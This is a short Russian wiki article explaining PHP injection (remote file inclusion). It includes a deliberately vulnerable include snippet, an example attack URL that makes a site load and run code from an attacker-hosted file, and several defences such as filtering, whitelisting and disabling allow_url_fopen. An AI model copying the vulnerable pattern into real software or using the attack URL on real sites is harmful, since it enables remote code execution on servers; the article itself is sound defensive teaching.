PHP-инъекция

Материал из Hack Wiki

Перейти к: навигация, поиск

[править] PHP-инъекция

PHP-инъекция (PHP-инклудинг, англ. PHP injection), include-баг — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы выполнить нужный код на серверной стороне сайта. Уязвимыми функциями являются eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function(). Это становится возможным, если входной параметр принимается и используется без фильтрации.

Пример

   <?
   ...
   $module = $_GET['module'];
   include $module . '.php';
   ...
   ?>


Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://somesite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://somesite.com/inc выполнить любые PHP-команды.


[править] Способы защиты

Существует несколько способов защиты от такой атаки:

Проверять, не содержит ли переменная $module посторонние символы:

   <?
   ...
   $module = $_GET['module'];
   if (strpbrk($module, '.?/:')) die('Blocked');
   include $module. '.php';
   ...
   ?>


Проверять, что $module присвоено одно из допустимых значений:

   <?
   ...
   $module = $_GET['module'];
   $arr = array('main', 'about', 'links', 'forum');
   if (!in_array($module,$arr)) $module = $arr[0];
   include $module . '.php';
   ...
   ?>


Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.